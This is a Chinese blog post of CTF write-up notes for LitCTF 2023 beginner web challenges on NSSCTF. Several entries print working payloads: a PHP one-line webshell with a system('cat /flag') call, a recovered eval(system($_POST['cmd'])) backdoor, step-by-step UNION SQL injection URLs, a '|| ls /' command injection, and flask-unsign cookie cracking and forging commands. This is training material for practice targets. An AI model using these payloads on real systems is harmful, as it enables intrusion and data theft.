【CTF-web】NSS Web入门题

Author Avatar
白菀枯
发表:2024-07-14 17:59:14
修改:2024-07-22 15:51:45

这更倾向于笔记,事无巨细的那是假努力。

1. [LitCTF 2023]我Flag呢?

F12

2. [LitCTF 2023]就当无事发生

题目描述
https://ProbiusOfficial.github.io
差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次(x
Flag形式 NSSCTF{}
出题人 探姬

数据脱敏】:指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护。这样就可以在开发、测试和其它非生产环境以及外包环境中安全地使用脱敏后的真实数据集。譬如,ID[1234568]脱敏后[123****8],密码[12345]脱敏后[abcde]。

github.io结尾,至少说明是在GitHub的网页,直接打开就是正常博客,可以在GitHub搜索的到。

题目描述里说大概意思是把数据没脱敏前的源代码就pull过一次了,所以去找找它的的提交历史。

image-wrfm.png

image-jfzw.png

记得按题目要求改一下flag格式。

3. [LitCTF 2023]导弹迷踪

image-nssd.png

游戏是由js写的,代码都能看到,搜索level看看当第六关的时候会做什么。

记得按题意改格式

4. [LitCTF 2023]Follow me and hack me

如图
image-frth.png

彩蛋:利用dirsearch执行 python dirsearch.py -u http://node5.anna.nssctf.cn:22528/

扫到了www.zip访问即可下载查看

5. [LitCTF 2023]PHP是世界上最好的语言!!

右侧执行php代码 system("cat /flag");

6. [LitCTF 2023]Vim yyds

【.swp】是vim用来备份当前使用的文件后缀

  1. 可以直接尝试访问 域名/index.php.swp,或先用dirsearch先扫一遍
  2. 用编辑器打开尝试分析代码:
</body>     </main>         </div>             ?>             }                 eval(system($_POST['cmd']));                 echo "<p>Oh You got my password!</p>";             if ($_POST['password'] === base64_encode($password)) {             echo "<p>can can need Vim </p>";             $password = "Give_Me_Your_Flag";             error_reporting(0);             <?php         <div class="can_can_vim">         </h3>             闃熼噷甯堝倕璇碫im鏄笘鐣屼笂鏈€濂界殑缂栬緫鍣紝涓嶆帴鍙楀弽椹?         <h3 class="vim_said">         </div>             </h1>                 Vim yyds             <h1 class="vim_yyds">             <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>         <div class="vim">     <main> <body>  </head>     </style>         }             font-size: 20;         p {         br,          }             align-items: center;             justify-content: center;             display: flex;             color: #39c2ff;         h3.vim_said {          }             margin-left: 5px;             margin-top: 50;             justify-content: center;             align-items: flex-start;             display: flex;             color: #50f728;         h1.vim_yyds {          }             height: auto;             width: 8rem;             border: none;         img {          }             justify-content: center;             vertical-align: middle;             align-content: center;             display: flex;         div.vim {          }             justify-content: center;             align-items: center;             display: flex;         html {         body,     <style type="text/css">     <meta charset="UTF-8"> <head>  <html> 
  1. 密码是 Give_Me_Your_Flag,而当传入的password===经base64编码后的密码,可以 eval(system($_POST['cmd']));
  2. 多个post传参可用 & ,最终如图image-flqu.png

7. [LitCTF 2023]作业管理系统

  1. f12看到账号和密码均是admin 我还尝试爆破被限制登录了。。。
  2. 上传一句话木马:1.php
<?php @eval($_POST['test']);?>
  1. 访问 靶场ip/1.php,然后post提交 test=system("cat /flag");
  • 这道题还支持file协议,可以在本服务器上传后直接编辑。
  • file:///flag 上传/flag文件,就能直接编辑它了

8. [LitCTF 2023]这是什么?SQL !注一下 !

$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';

双引号容易分辨,其余的 .'(((((('.$_GET["id"].'))))))'有三部分:

  1. '(((((('
  2. .$_GET["id"].输入的东西会在这,所以手动输入的 )))))) --+闭合后,不用额外的引号做封闭符
  3. '))))))'
  4. 判断列数 order by,不过已经告诉我们输出的表头有两列了
  5. 爆数据库名 http://域名/?id=-1)))))) union select group_concat(schema_name),1 from information_schema.schemata--+
  6. 爆表名 http://域名/?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'--+
  7. 爆字段名 http://域名/?id=-1)))))) union select group_concat(column_name),1 from information_schema.columns where table_schema='ctftraining'--+
  8. 最后输出 http://域名/?id=-1)))))) union select 1, flag from ctftraining.flag--+

9. [LitCTF 2023]Http pro max plus

【本地访问常用方式】:1. xff / 2. client-ip / 3. X-Real-IP + 127.0.0.1

【来源网址】:referer

【浏览器】:UA头

【代理】:via

玩的是真花啊

10. [LitCTF 2023]1zjs

【JSfuck】:用 []()!+这六个字符就可以在控制台执行js代码的特性

检查网页元素有 <script src="[./dist/index.umd.js](http://node4.anna.nssctf.cn:28413/dist/index.umd.js)"></script>,访问它有:

image-bmrp.png

继续访问,打开看到的就是jsfuck代码,在控制台复制执行

11. [LitCTF 2023]Flag点击就送!

  1. 结合wappalyze插件发现是由flask框架,也注意到当输入admin回显不一样
    • 由于 Flask cookie 是经过签名不是加密的,因此可以在本地解码会话数据。
  2. 可使用flask-unsign-wordlist工具暴力破解密钥
  1. 指定字典爆破 \$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF\_Bhw.mawKGPKlVL8\_XkcZE2bcVHe6pOE" -w .\\字典.txt --no-literal-eval
  2. 确定是 LitCTF 为密钥后就可以进行伪造:获得服务器的密钥LitCTF后,能够制作自己的自定义会话数据Session。flask-unsign --sign --cookie {'name':'admin'} --secret LitCTF得到session eyJuYW1lIjoiYWRtaW4ifQ.ZpOW8A.ek3Ct2DcQvqZYsSc3jmA_ourEtI
  3. 访问域名/flag,在hackbar里修改session成上面的。

12. [LitCTF 2023]Ping

  • 审阅代码可知是前端限制,禁用js即可
  • 或者将 check_ip()函数在控制台清空即可。不过这是“一次性”的
  • 在Hackbar的body里也可修改 command=1.1.1.1 || ls /

13* [LitCTF 2023]彩蛋

NSSCTF{First\_t0\_The\_k3y!\_S0\_ne3t?\_R3ady\_Pl4yer\_000ne\_F1rst\_to\_Th3\_eggggggggg!}

参考引用

  1. 题单:Web入门 | NSSCTF
  2. 视频题解:【LitCTF2023】Web部分讲解及复现 官方题解_哔哩哔哩_bilibili
  3. 文档题解:‬‬‌‌⁠‌‍⁠‬‬‌‌‍⁠‍‌‌‌‬LitCTF2023 官方 WriteUp - 飞书云文档 (feishu.cn)
评论